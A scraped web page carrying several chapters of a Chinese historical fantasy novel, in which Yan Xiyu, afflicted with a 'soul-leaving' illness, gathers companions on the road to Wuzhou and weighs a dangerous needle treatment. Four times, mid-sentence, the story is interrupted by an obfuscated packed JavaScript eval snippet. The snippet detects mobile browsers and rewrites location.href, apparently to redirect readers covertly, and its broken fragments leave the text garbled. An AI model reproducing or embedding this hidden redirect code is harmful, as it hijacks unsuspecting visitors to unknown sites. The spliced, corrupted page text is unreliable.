;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329683|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子不成器,不是好高骛远,就是急功近利,坑家败业地把偌大的佟家医馆给瓜分了,懂医术的徒弟都被别人暗中抢走,只剩下些歪瓜裂枣在医馆里卖着药材。 “你可别胡来!”佟瑰方心惊胆颤地说,“治不好就让人去别处寻医,说不定还能有一线生机。” “我知道,”佟槿方失落地说,“别人看我岁数小,都瞧不起我。” 也就只有燕姑娘,一开口就喊他小神医。 佟槿方回头看了看树荫下的俩人,很快又振作了起来:“阿姐你不知,我在遥县也是小有名气的!” “哦?”佟瑰方好奇地看着他。 “我守在李府后门的这十年,可是救治了不少的乞丐!”佟槿方抬头挺胸地说,“乞丐没钱看病抓药,都是我给他们治好的。” “我阿弟自然是与旁人不同,”佟瑰方夸了一句,她怕提起佟槿方当乞丐的那十年,于是转移了话题,“那救我的姑娘是谁?” “她叫燕惜妤,”佟槿方边咬着馍馍边说。 “姓燕……”佟瑰方忽然沉吟不语。 “姓燕怎么了?”佟槿方一心只想着救出阿姐,别的事情没怎么关注过。 “没什么,就是觉得少见,”佟瑰方含糊地说,“她先前救我时还好好的,怎的突然就……” 看自家阿弟这样子,她也猜测着燕惜妤应该是还没死,但那两名官差却说她死了。 “她是离魂症,”佟槿方小声说,“我在佟家秘笈上看过。” “离魂症?”佟瑰方虽然也从小习医,但她并没有听说过世间有离魂之症。 “对,秘笈上有记载着,仅有一例,”佟槿方低声说,“上面有佟家先祖三人不同的笔迹,分别给出了医治的法子。” “……你给燕姑娘诊过脉,告知了她离魂症之事,所以她才会救我,是与不是?”佟瑰方看着佟槿方,“而她选择救我,是要你为她治好离魂症。” 佟槿方低下头说:“……是。” 佟瑰方张了张嘴,视线越过佟槿方,看向树荫下的人:“可你手上有的只是未曾验证过的法子,若是三种法子都治不好她,那又该如何是好?” 佟槿方低着头不吭声。 佟瑰方叹气:“槿方,你不该骗燕姑娘。” 每次她生气时,才会唤他槿方,而不是亲昵地唤阿弟。 “我以为她也是骗子,所以我才骗她,”佟槿方的声线带上了哭腔,“我没想到她真的敢闯知县住的府邸,我实在是没能寻到时机同她讲清楚。”她说救人就救人,他还没反应过来,阿姐就被她救出来了。 佟瑰方拧着眉叹气:“只能等她醒来再说。” “可是万一她要是醒不过来……”佟槿方的声音充满了害怕,“阿姐,是我害死了她!” 佟瑰方沉默了一会儿,忽然说:“我们去乌州会经过麀州,若是到了麀州她还没醒来,就去求鲁神医。” “可是……”佟槿方有气无力地说,“那鲁神医也是从我佟家出去的。” 佟瑰方瞪他一眼:“那你可还有旁的法子?” 佟槿方呐呐道:“……要不我们去庙里求菩萨救她吧?” 35. 第35章 佟瑰方没好气地说:“我看菩萨是会先责罚你。” “我装疯为了不引起佟家人注意,除了佟家秘笈,我什么都没带,如果我手上有银针,我或许就能救她了,”佟槿方垂头丧气地。 佟瑰方看他这样,也不忍再责怪他:“等燕姑娘醒了,你要先同她说清楚,她要是同意,你才能用银针为她治病。” “可万一她要是不醒呢?”佟槿方是真的怕燕惜妤醒不过来。 佟瑰方一咬牙:“若是到了麀州还不醒,我们就去找鲁神医,鲁神医若是也没法子,我们去买银块自己制银针!” 这是他们现在唯一能为醒不过来的燕惜妤做的了。 马继续拉着几人在官道上奔跑。 官道上很少有人经过,佟槿方也不希望遇见人,他怕那些人是来逮捕他们的。 一路上佟槿方都很紧张,时刻注意着后头的动静。 就在这时,路边的荒草里突然窜出了好几个手执砍刀的乞丐。 他们看见奔跑着的马,竟齐刷刷地指着这边胡乱喊着。 三丫一看这情况,倏地就从背篓里抽出了长刀握在手里。 佟槿方转头一看,这才知道背篓里竟然还藏了刀剑。 “也给我一把刀!”佟槿方伸出手说。 三丫二话不说就把手里的长刀递给了他,转头又从背篓里抽出了一把断剑。 他们这边正准备着和人拼命,但那几个乞丐却并没扑上来,只是远远地跟着。 马儿跑的快,渐渐地就将那几个甩在了身后。 佟槿方这才松了一口气,握着长刀的手心全是冷汗。 日头下山时,他们来到了一外山林边。 远处大山环绕,斜阳映不到树下,只觉得一阵阵幽凉。 “附近是不是有大河?”佟槿方边解下马背上的套绳边说,“我偶尔能听见波涛声。” 佟瑰方仔细听了一下,点点头:“应该是,可能上渜江就在这附近。” “有大江……我们该不是还要乘舟渡江吧?”佟槿方看看板车,“到时候板车能搬上渡舟吗?” “到时再说,”佟瑰方忙着捡柴生火,“你拿小铁锅去水潭里盛些水过来烧开再喝。” 三丫平时是最勤快的一个人,但自从出城以后,她就不爱动弹了,整天揽着个断了气的人发呆。 斜阳已西沉,三丫揽着人坐在树下,树冠的阴影像是要把她俩吞没。 三块石头垒成的灶头上放着个小铁锅,小小的灶火只照亮坐在旁边的俩个人。 “等锅里的水烧开,再把那个小瓦锅放上来泡馍馍,”佟槿方说,“馍馍太硬了,刮嗓子眼。” “嗯,”佟瑰方点点头,然后扬声对三丫说,“你把她抱在板车里睡吧,夜里草丛多虫蚁,咬到她都不会喊疼。” 三丫沉默着又把人抱上了板车,估计是怕夜里凉,她走到板车后尾打算解开包裹找件衣裳出来给人盖着。 佟瑰方看看她,叹息一下,低头正要把手旁的树枝放进灶头里烧,身后忽然传来了响声。 她和佟槿方身体同时一震,佟槿方已经扑过去抓起放在地上的长刀,再一抬头,他们已经被人包围了! 这些人看着就像是附近村子里的村民,个个身上的衣裳全是补丁和破洞,脚上穿着松散了的草鞋,有好些人甚至还光着脚,而手里拿着各种农用刀具,有砍刀锄头,有铁锨镰刀,还有斧头和镐子,站在最后头的大高个手里竟然还有一把弓箭。 虽然他们个个手里都有刀具,却又每个人身上都有着大大小小的伤口,看着就像是经常动手抢人财物受的伤。 站在最前面的人手里举着铲子,不看人,只盯着绑在树下的马:“铁牛,你看,真的有马!” 他们来势汹汹的样子,吓得佟瑰方差点儿踢翻了灶头上的小铁锅。 “阿姐!”佟槿方一手举着大刀,伸出另一只手来扶她,“你去板车那里拿刀!” 他把佟瑰方往身后推,自己一个用单薄的身躯面对着来者不善的一群人。 佟瑰方连忙往板车的方向跑,没跑几步,在板车后头忽然又窜出来好几个人。 “找到了!她们在这!”那几人衣着破烂,竟然是之前在官道上遇见的那些冲着他们喊叫的乞丐。 佟瑰方顿时立在原地。 三丫手里紧握着一把断剑,她守在板车旁边,对着忽然出现的两伙人露出了视死如归的表情。 佟瑰方顾得前,却顾不得后,急得差点哭出来。 完了!路遇歹徒,对方人太多,他们跑不掉了! 燕惜妤你别睡了,快醒过来!再不醒来,等我们被歹徒杀了之后,你就真的要被活埋了啊! “把马交出来!”那伙手持各种刀具的村民忽然喊,“俺们只要马,不伤人!” 佟槿方这边还没有所反应,那几个衣着破烂的乞丐却是先跳了脚:“滚蛋,这马是我们的!” “少费话!把马留下,你们再不走,俺们……” 村民的话还没说完,就被那几个乞丐打断了。 “你们想怎样?!我告诉你,我家的当家姑娘可厉害着呢!你们识相最好马上滚,要是等我家的当家姑娘醒来,你们一个个的都将人头不保!” “……什么当家姑娘?”那些村民立即看向三丫他们三人。 佟槿方还是一身女子装束,但他一来年纪小,二来衣裳又皱又脏,于是大家一致将目光投向了佟瑰方。 “你是他口中讲的那啥子当家姑娘?”举着铲子的村民问佟瑰方。 佟瑰方还算镇定地站着,但她完全不知道当家姑娘是什么,先是看佟槿方,见他也是一脸懵,又去看三丫。 三丫一直站在板车旁,这会儿也在看着她。 “瞎看什么!我们当家姑娘还在板车上睡着,待她醒来,要知道你敢抢我们的马,你们一个也跑不了!” 于是那些村民纷纷去看板车,可板车是侧放着对这边,他们只看见有膝盖那么高的挡沿车板,根本看不到板车里还躺着个人。 “啥子当家姑娘?你以为你们是山大王吗?”举着铲子的村民咧嘴嘲笑那几个乞丐,“就算是真的山大王,俺们也不哎呀还真有人?!” 他这么一嗓子嚷出来,佟槿方他们三人均是猛地一回头——只见挡沿车板上不知何时搭着一只手。 只见那只手五指微微用力一收拢,有个人在板车里坐了起来。 她醒了! 此时在场的所有人,脑海中全都闪过这三个字。 “嗯?”燕惜妤刚醒来,意识还有些迷糊,有些茫然地眨了眨眼,待眼睛再睁开时,她有点儿懵,“你们这是要做什么?” 她看的方向是那些手握刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341765|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具的村民。 那些村民你看看我,我看看你,有人正要说话的时候,那几个乞丐之中却是有人忽然扑到了板车旁,“咚”的一声跪在了燕惜妤的面前。 “当家姑娘,这些歹徒是想来抢我们的马,您快打死他们!” 我们的马? 燕惜妤往前探了探脑袋,盯着跪在地上的人说:“你站起来。” “哎好嘞,”那人立即爬了起来,露出了一张有些熟悉的脸。 “是你?”燕惜妤看看他,又去看看跟在这人身边的人,“你们一直跟着我?是想把马抢回去?” 这匹马还真的是这几个人的,当初燕惜妤就是从他们手中抢来的。 “啊不不不!”那人又是摇头又是摆手,“马就是您的,我们也想跟着您,以后您就是我们的当家姑娘!” 当家姑娘?这是什么奇怪的叫法? 燕惜妤看看他:“你先等等,我看看这些人又是怎么回事。” 她说完,搭在挡沿车板上的手一撑,整个人就从板车上跳了下来。 “他们这是想要来抢我们的马,打死他们!”那乞丐狐假虎威地跟在燕惜妤身后叉着腰说。 “是吗?”燕惜妤慢悠悠地走了过来,先是越过佟瑰方,又再越过佟槿方。她也没看佟槿方,只不过擦肩而过时,伸手把他手里的大刀拿了过来。 那群手持刀具的村民看她过来,也不怕,举着铲子的村民还凶巴巴地瞪着她:“俺们只要你的马,你把马给俺们,俺就不为难你们。” “马不能给你,”燕惜妤语气轻松地说。 “大家伙,抢马!”那村民忽然手一抬,高举着铲子大喊了一声。 就在这时,自这群人身后传来了苍老的声音:“反了你们!咳咳咳咳咳咳!” 在这一连串的咳声之中,那些手举着刀具的村民个个都缩着脖子不敢吭声。 过了一会儿,他们让开了一条道,有好几个同样衣裳全是补丁的村民抬着一扇门板过来,门板上躺着一个瘦弱的老人,在其身后,还跟着三个或是瘸着腿,或是直不起腰,或是走一步喘三次的中年男子。 有个手握砍刀的村民说:“老村长,您怎么来了?”他是这群人里长得最高最壮的。 “铁牛,你为什么不听话!”老村长躺在门板上,挥手让人把门板放下,然后被人搀扶着勉强站了起来。 “可是您的病要治,”铁牛低着头闷声说,“俺只要他们的马,将马卖了,就有银子给您治病了。” “我从小教你们做人做事,没叫你们咳咳咳……”老村长一时怒火攻心,又半偻着身体咳了好一会。 “老村长,您别急,俺们不抢他们的马了!”铁牛慌忙说。 老村长大口喘着气:“我、我不是给了你一个几年前挖出来的银坨子,你没拿去换钱?” “银楼的掌柜说俺们的银坨子不纯,最多只值三钱银子,”铁牛咬牙切齿地说,“三钱银子连给您抓药都不够,又怎么给水生他们治病。” “唉,”老村长长叹一声,“罢了,老夫命该如此……”他话没说完,人就差点昏过去,那些人手忙脚乱地把他放回门板上,抬着匆匆忙忙就跑了。 燕惜妤看着他们离开,转身把手里的大刀又塞回到佟槿方的手里,脸上充满了期待地看着他:“你给我诊过脉没有?我这病该如何治?” 36. 第36章 一句话,把佟槿方问得哑口无言。 燕惜妤一看他这表情,就笑了:“我断气的这段时间里,你没给我诊过脉?” “是因为……三姐她初时不许我碰你,”佟槿方硬着头皮说,“我也……不敢。” “为什么不敢?”燕惜妤问他。 佟槿方低着头,往旁边走了几走,显然他也觉得自己理亏,不想让别人知道他欺骗了燕惜妤。 燕惜妤跟着他走到树下:“说说吧,你为什么不敢?” “……其实我并不是什么小神医,”佟槿方低着头闷闷地说,“我可能治不好你,我也没治过离魂症。” “我知道啊,”燕惜妤轻描淡写地开口。 佟槿方先是一顿,然后猛地抬起头看着她,语气满是怀疑:“你知道?你怎么知道的?” 不等燕惜妤开口,他又抢着说:“难不成你又是从我同你说的话中猜出来的?” 一次两次能猜出来,总不可能三次四次,次次都是猜出来的吧? “还真是,”燕惜妤笑眯眯地点头,“就是你自己在话里提前告诉了我。” “不可能!”佟槿方立即反驳道,“我没说过和我医术有关的话语。” “说得这么绝对啊,”燕惜妤笑着瞥了他一眼,“你是不是说过你在街上当了十年乞丐?” “是提过,”佟槿方点头,“但这句话和我的医术有什么关系?” “关系可就大了,”燕惜妤有点好笑地说,“你当了十年的乞丐,现在你也才十六七岁,我就想问你,六岁的小孩就算字认全了,他又能医得了几个病人?” 佟槿方张了张嘴,下意识想反驳,却又说不出话来,最后只从嗓子里挤出了一句:“你竟然都猜出来了,为何还要相信我?”又为何帮他把阿姐从知县府里救了出来? “我信的是你家族传承的医术,信的是把才六岁的你教会诊脉的那位老神医,”燕惜妤伸手拍拍眼前少年郎的肩膀,赞叹道,“你能诊出我身有余毒,还诊出了我患有离魂症,这说明你在那十年里丝毫没松懈疏懒过,你肯定给城里其他的乞丐治过病吧。” 否则他年纪轻轻,又当了十年乞丐,是不会有那么精湛的医术的。 “你、你!”佟槿方看着燕惜妤,眼神中充满了难以置信。 “你之前吱吱唔唔的,就是想告诉我这个事?”燕惜妤眯着眼睛看他,“你手里应该有能医治离魂症的方法吧?” “……有是有,可是……”佟槿方有些吞吐地不知道该怎样讲明白。 “有就行,你先在这里想着该如何说给我听,”燕惜妤转身刚想走,却又回过身来看了他一眼,“不要想着能欺瞒得了我。” 她这一眼,把佟槿方看得心头骤然“怦怦”地跳个不停! 这燕惜妤,当真是世间少有的深谋远虑心计之人! 就拿先前她出手把他阿姐从知县府邸救出来的这事来说。 不仅算计了她自己三姐对她忧心的悲伤害怕情绪,和他在明知她有离魂症仍让她去救自己阿姐的歉疚之情,还把他阿姐虽然不明状况但持重稳妥的反应也算上了。 而且把她自己离魂后断气的死亡样子显露在官差面前时,官差看着他们几姐妹的反应也猜到了,这是连官差的怜悯心也一并算计在内! 甚至她还把她自己的离魂症也一并利用上了! 九十九步她已然安排好了,而只剩下这最后一步,她也不会遗漏,当真是算无遗策! 佟槿方越想越觉得震骇莫名,后背在一瞬间全被冷汗浸湿。 “她是不是被咱当家姑娘骂了?”那几个乞丐又窜了出来,“那脸煞白煞白的。” 燕惜妤这才想起来还有这几个人:“你们饿不饿?” 她这话一问出口,那几个乞丐肚子立即“咕咕”叫了起来。 但他们死鸭子嘴硬,愣是摇头喊:“不饿!” “我还有事,你们先去找阿姐要点干粮填一下肚子,”燕惜妤对他们摆摆手,然后朝着三丫走过去。 她醒来这么久,三丫却没和她说过话,看来是生气了。 三丫正坐在一棵树下,看着像是在发呆。 “三姐,”燕惜妤过来在她对面盘腿坐下,“三姐,抱歉啊,让你担心了。” “我不是你三姐,”三丫的语气很平淡,不像是生气的样子。 完了,真生气了。 燕惜妤顿时露出了可怜兮兮的眼神看着她:“三姐不要我了吗?是不是因为我的病啊?” “你别瞎说!”三丫立即瞪了她一眼,只不过之后眼眶就红了,“我不是你三姐,你一人去乌州,我带着他俩个留在麀州,他们是逃出来的,再跟着你会害了你。” “三姐是怕他俩姐弟连累我们?”燕惜妤胸有成竹地说,“我不会让官差捉到他们的。” “你能护得了几个被官差追捕的人?!”三丫也不知为何忽然就发怒了,“我也是逃出来的你知不知道?我和他俩姐弟都是累赘,只会拖累你!” 燕惜妤愣了一下,她没想到三丫会把她自己逃跑的事情说了出来。 燕惜妤自己也是从教坊司逃出来的,但她不会把这件事告诉任何人,她绝对不会把自己的把柄亲口告诉任何人。 三丫见她沉默,还以为唬住她了,于是放缓声音道:“你自己去乌州,比带着我们……” “三姐,我其实知道你是逃出来的,”燕惜妤开声打断她。 “你知道?”三丫一怔,然后像是想到了些什么似的说,“你别想骗我,我知道你是想带着我才这么说的。” “我没骗你,”燕惜妤叹了口气,“我在马县看过衙差贴出的通缉画像,上面写着缉拿仓州教坊司的逃奴。” “你真知道!!”三丫没想到她竟然是真的知道,“你既然知道我是逃奴,为何还……” “当时我救下你后,我发病了,就是个断气的死人,那三姐又为什么要将我抱在怀里呢,”燕惜妤笑着说,“还给我唱歌呢。” “我、我……”三丫半吞半吐了一会儿,才说,“你那时刚救了我,我、我一个人逃跑很害怕。” “我也差不多,”燕惜妤毫不介意三丫的实话实说,“我自己一人去乌州,也很孤单,所以当我有了三姐以后,我很开心。” “你、你还认我当三姐啊?”三丫又哭又笑地说。 “为什么不认?”燕惜妤奇怪地反问,“好不容易才有个三姐,谁也不能把你从我身边带走。” 三丫小声哭了一会儿,长出了一口气后,才释然地说:“我家里也有大姐和二姐,她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347370|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比我勤快多了,小时候我最会偷懒。后来,大姐就被卖给了教坊司,签的是死契,以后生死都和家里没关系了。 “二姐从那之后就不爱说话了,总是不停不停地帮家里干活,我知道她害怕像大姐一样被卖,我也怕。但二姐还是被卖了,卖给了富人家当丫鬟,也是签的死契。 “我觉得我迟早也会像俩位姐姐一样被卖掉,可我再不敢偷懒,家里还有弟弟小妹,我要照顾好他们。直到有媒婆上门来给我说亲,我就以为我不会被卖掉。 “谁承想,不知是谁把我大姐现在过上好日子的事说了出来,大家这才知道,原来我大姐有一次在教坊司的宴乐上被麀州永义王世子看中了,皇帝就把我大姐赐给了世子当妾侍。 “大家一听,不得了啊,给王爷儿子当妾侍,以后就是过上穿金戴银的富贵日子了。他们甚至还去打听我二姐,又知道我二姐因被主家赏识,就和那户老管家的儿子成了亲还生了孩子。” 三丫说到这里的时候,语气充满了冷意和嘲讽。 燕惜妤安静地听着。 三丫冷哼了一声,继续说:“他们也想过富贵的日子,可女儿卖出去签的是死契,哪能还要回来,于是就又把我给卖给了教坊司,他们这次倒是脑瓜变灵了,签的是活契,想着等以后我像姐姐们一样,就能给他们带来荣华富贵了。” 她越说越气愤,最后呸了一声:“我才不会让他们如愿!” “对,绝对不能让他们如愿!”燕惜妤附和着重重点头。 三丫好笑地看看她,叹气说:“我原先想着跑来麀州求助我大姐,可你看佟槿方他姐,她在知县家过得不好,我大姐在王爷府未必能过得如意,我就不去寻她了,她估计也不想再同我们这些人有牵连。” “嗯嗯嗯,对,”燕惜妤连连点头,“咱不去麀州,三姐和我去乌州。” “可你带着我们这些被通缉的人,这一路会很艰难的,”三丫叹气。 “不带你们,那我这一路更难,半道断气了都没人管埋,”燕惜妤扁着嘴说。 “又胡说!”三丫立即瞪她,“不准再说这样的话!” “好好,我不说,”燕惜妤连忙捂住嘴巴。 三丫瞪了她好一会儿,才又说:“我曾经住在罗家庄,连名字都没有,别人家就喊我三丫,被带出来要卖掉的那日,我看见有对夫妇牵着个小女孩在买糖葫芦,她娘喊那小女孩采春,之后我夜里总是做梦,梦见我就是那个名叫采春的小女孩。” “我三姐,”燕惜妤垂着眼笑着说,“罗采春。” 罗采春怔了怔,好不容易平复的心情一下子就又乱了,泪水在眼眶里直打转。 “三姐,佟槿方他姐叫佟瑰方,”燕惜妤扯了扯自己的袖子,然后将手伸了出去,“你俩的名字一样好听。” 罗采春又破涕为笑,自己伸手抹去了眼泪:“你把手伸过来做甚?” “给三姐擦眼泪啊,”燕惜妤调皮地说。 蹲在一旁吃干粮的那几个乞丐用看傻子的眼神看着这边。 “又哭又笑的,莫不是傻掉了?” “闭嘴!” “大、大大哥!人人人!” “有屁就放!” 这人背后忽然传来燕惜妤的声音:“你吃着干粮说这话?” 37. 第37章 “呃?!”那乞丐差点儿被嘴里没咽下去的干粮噎死,“咳咳咳咳咳!” 他那说话不怎么利索的兄弟嘴里叼着小半块干粮,粗糙的大手“啪”一下砸在他后背,又差点儿把他给拍去半条命。 “滚滚滚!”那乞丐从地上爬起来,作势要踢他的几个兄弟,但没踢,而是随着踢出的脚一转,对着燕惜妤弓身地一笑:“当家姑娘来了。” “你们几个一直跟着我?”燕惜妤看了看他们,在心里数了数,一共有五个人。 “是,我们一直跟着当家姑娘,”对方点头说。 “你们是怎么找到我的?”燕惜妤对这点很好奇,“我们有马,你们靠着双脚,不应该能找到我。” “我们家仲五天生就会这个!”提到这个问题,对方瞬间就挺直了腰杆,“他打小就会认路认人,在山头里就没失过方向,带着我们几个钻山林小道找到你们的。” 他边说,还边从旁边扯出一个男子。这人岁数大概有二十一、二岁,是这些人之中里看着最年轻的。 “他是仲五,那你是?”燕惜妤看看他,该不会是叫仲大吧? “我叫仲茂,”那个一直喊燕惜妤当家姑娘的男人说,“这几个都是我同村的兄弟,从二到五,我们一共五个人,以后就都跟着当家姑娘您了。” 燕惜妤拧眉看着仲茂,仲茂屏着气也在看着她。 “你们离开家里,是因为偷了富人家的马?”燕惜妤决定先问清楚一些事。 “不是不是,”仲茂连连摆手,“我们是因为要离开,才偷走的马,那些人都不是好人,总是克扣我们的工钱不说,还欺男霸女。” “你们就这样出来,家里人怎么办?”燕惜妤盯着他们,“你们正是家中顶梁柱的时候,就这么抛下爹娘不顾了?” “没有的事!”仲茂和他的二至五兄弟慌忙摇头,“我们几个家里都是有家人曾因兵役进了羿家军,羿老将军是好人啊,他老人家在州里划了块田地,那些因兵役回不来的人家里头,若有没人照顾的老弱妇孺都可以过去分到田地,他们说替那些回不来的儿郎们照顾家人,赋税只用交少许,给老人养老,小郎可以待到十六,女娃可以养到嫁人。” 羿家军? 燕惜妤是第一次听到这三个字。 仲茂偷瞄她的脸色,见她不像生气,又继续说:“儿时家人在羿家军那边领了田地,我们这些出来的,却连自己都养不活,也娶不上媳妇,没脸回去见他们。” 燕惜妤没说话。 仲茂越说头垂的越低:“我晓得我们几个有手有脚,不能真指望着羿家将给我们养老人,可是那些个富人家都不是人,他们克扣我们的工钱,我们累死累活赚一年的铜钱,都不够给家里老人买顿肉吃。” “还总是拿鞭子抽我们!”年纪最小的仲五忽然握紧拳头说,“我四肢着地套着爬犁在田里当牛犁田,他们就真的把我当牛,用鞭子抽打我!” 燕惜妤在心里头叹了口气。 “你们五兄弟确定要跟着我?”燕惜妤问他们。 “是!”仲茂应得很大声。 “我去乌州边地,”燕惜妤又说。 “那我们也去!”仲茂毫不犹豫地回她。 燕惜妤觉得他们可能不知道乌州边地,是整个大承朝最远也是最凶险的边地。 算了。 “那行,你们先跟我去乌州,”燕惜妤今天已经叹了好几次气了,她看着佟瑰方对仲茂他们说,“这位是佟瑰方佟阿姐。” “大姑奶奶!”仲茂他们五个齐刷刷喊道。 大姑奶奶?这是什么称呼?他们村里人是这么喊人的? 燕惜妤又看看罗采春说:“这是罗采春罗三姐。” “三姑奶奶!”仲茂他们又齐刷刷地喊了一声。 “我姓燕,叫燕惜妤,”燕惜妤介绍她自己。 “当家姑奶奶!”仲茂他们这次喊的最大声。 然后他们也不用燕惜妤提,直接朝着佟槿方大声喊:“小姑奶奶!” “噗!”燕惜妤瞬间笑了出来,“哈哈哈。” 罗采春和佟瑰方也在捂着嘴偷笑。 佟槿方脸都黑了。 “都闭嘴!”佟槿方凶巴巴地瞪他们,“我是男子!” “啊?”仲茂他们张大嘴巴看着他,“哦哦,那是小公子?” “你们打哪学来的这称呼,”燕惜妤笑出了眼泪,“该喊姑娘喊姑娘,你们也别喊他小公子,他叫佟槿方,喊他佟兄弟吧。” “行,”仲茂点头,然后看着佟槿方说,“佟小兄弟。” 兄弟就兄弟,他还偏偏加了个小字,把佟槿方的脸又给气红了。 “哎,你们别欺负我佟家兄弟啊,”燕惜妤笑着骂了仲茂他们一句,然后对佟槿方说,“你过来给我讲讲我这奇怪的病到底是怎么回事。” 她之前以为断气,是因为魂魄不稳造成的,但如果魂魄不稳,她就不可能让这具身体使用出她的天赋。 既然天赋能用,她的魂魄和身体就应该已经融为一体了,她就是这具身体的本人,这点绝对是毋庸置疑的。 那她为什么还总是断气? “你这病世间极为少见,”佟槿方抿了抿嘴唇说,“我佟家祖上世代行医,先祖留下的书册里,只有过一例离魂症。” “还有人也有我这种怪病?”燕惜妤一下子就提起了兴趣,“那人后来怎么样?治好了吗?” 佟槿方低着头不敢看她:“那人有次走在路上忽然就睡了过去,没能再醒来。” “这样啊,”燕惜妤叹气,“那你祖传的医书上是怎么说的?我还有救吗?” 佟槿方飞块地瞥了她一眼,没敢吭声。 燕惜妤看他这样,就知道了结果。 我没救了。 “唉,”燕惜妤叹气叹出了声,“唉,唉,唉。” 一连叹了好几声,那一声声的叹息就像有重量似的,压的佟槿方差点儿直不起腰。 所以他不得不硬着头皮开口:“虽然无法治愈,但是先祖们有三人各给出了一个法子,你如果敢尝试……” “那几个法子不一定管用,是吧?”燕惜妤看他低着头的样子就想笑,“你抬起头和我慢慢说,我又不会怪你骗了我。” “我……”佟槿方抬起头,开口想解释之前的事。 燕惜妤对他摆摆手:“不提那些,你说说你先祖给出的三个治疗的方法是什么。” “你如果要在去乌州的这一路上治病,唯一能用的就是第一个法子,”佟槿方有些踌躇说,“这个法子其实不是治病,而是主在预防,在你要断气前,用银针刺入你头顶上的穴位,或许可以控制住不让你断气。” “这法子是不是有隐患?”燕惜妤眯着眼睛说,“我醒来后你一直不主动说起我的病,是因为你手上的那几个能治离魂症的方法都有着隐患吧?” “……是,”佟槿方知道自己根本瞒不了她任何事,只好自己老实交代,“那预防的法子隐患有二,一是刺入银针或许会当场毙命,其二银针刺入穴位后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361777|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人不会断气,但在起针后,人立即毙命。” 这怎么说来说去都是我死呢。 燕惜妤抬头望天,天这时已经完全暗了下来,整片天幕黑洞洞的。 佟槿方见她不说话,于是尝试着想要劝劝她:“之前罗三姐说你是动武才会出现断气,你或许可以不动武……” “我如果不动武,你这时还守在知县府的后门当乞丐,”燕惜妤扬了扬眉,然后说,“银针刺穴的方法,除了你说的那两个隐患,是不是还有可能银针刺入穴位后完全不起作用?” 佟槿方睁大眼睛看她:“可是……” “没有可是,”燕惜妤打断他,“银针刺穴位,无论有几个隐患,都是死,但除了死,还有可能银针扎了也是白扎,我照样断气,然后忽然又醒过来。” “你?!”佟槿方眼中满是恐慌地看着她,“你为什么非要尝试那预防的法子,你就不能再多寻几个郎中问问?难道你就不怕死吗?” 燕惜妤看着他:“我就是怕死才想要治好我这怪病。” ……但凡你对于银针刺穴的法子能多犹豫一下,我都会信了你这鬼话。 佟槿方慌张地说:“或许大承还有别的郎中能治好你这病,你再等等吧!”我是真的不想成为杀人凶手啊! “你怕什么?”燕惜妤好笑地看着他,“治不好又不会找你偿命。”那时候她都死了。 “我、我……”佟槿方哭丧着脸说,“可是我要亲手给你扎银针啊……” 说到这里他忽然一顿,也不知道想到了什么,眼中立即露出了光彩:“对啊,我没银针!” 他眼中的惊喜太过于明显了,让燕惜妤都不忍心打击他。 “城里的医馆不能买到吗?”燕惜妤露出失望的表情。 佟槿方却眉开眼笑:“哪能随便就买得到,郎中使用的银针都是自己亲手制针,一套好银针能传好几代。” “真不能买到?”燕惜妤不死心地追问,“那要是没得到祖传的银针,不就没银针用了?” “小徒用的银针,也是需要找老郎中制针的,”佟槿方摆手说,“银针可不能随便就能得到。” “这样啊,那算了,”燕惜妤表情有些失落,无奈地说,“你说你没银针我信了,毕竟你在离家时也才六七岁,你那个时候也制不出银针。” 佟槿方立即瞪她。 “可惜了,你没制过银针,佟家你暂时回不去,估计以后也没谁会教你制银针,”燕惜妤边摇头边说。 “谁说没人教?”佟槿方抬着下巴倨傲地说,“我阿姐早习得了亲手制针的诀窍,她也是有银针的。” “哦,佟阿姐有银针?”燕惜妤略一挑眉。 佟槿方下一霎又蔫巴了:“可她的银针早就被佟家人收走了。” “但她会制针对吧?”燕惜妤盯着佟槿方说,“我拿银子给她帮我制针,然后你给我扎针治病。” 